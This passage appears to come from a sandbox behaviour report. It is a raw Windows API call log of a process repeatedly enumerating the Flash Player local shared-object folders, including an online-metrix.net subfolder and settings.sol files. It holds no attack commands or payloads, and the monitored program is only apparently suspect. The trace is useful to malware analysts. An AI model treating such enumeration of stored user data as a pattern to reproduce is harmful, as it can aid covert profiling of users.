hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.877] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0230.878] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.878] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0230.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0230.878] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0230.878] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0230.878] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.878] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0230.879] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0230.879] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0230.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0230.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0230.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0230.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0230.879] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0230.879] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.879] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0230.879] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.880] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0230.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0230.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0230.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0230.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5a [0230.880] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0230.880] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.880] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0230.881] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0230.881] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0230.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0230.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0230.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0230.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x5a [0230.881] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0230.881] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.881] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0230.881] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.881] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0230.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0230.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0230.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0230.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x5e [0230.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0230.882] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.882] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0230.882] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0230.883] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.883] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0230.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0230.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0230.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0230.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x5e [0230.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0230.883] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.883] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0230.883] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0230.992] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0230.993] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0231.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0231.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0231.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0231.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", lpFilePart=0x0) returned 0x74 [0231.036] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0231.037] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.037] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0231.037] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.038] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0231.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0231.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0231.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0231.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", lpFilePart=0x0) returned 0x74 [0231.038] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0231.038] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.038] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0231.038] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 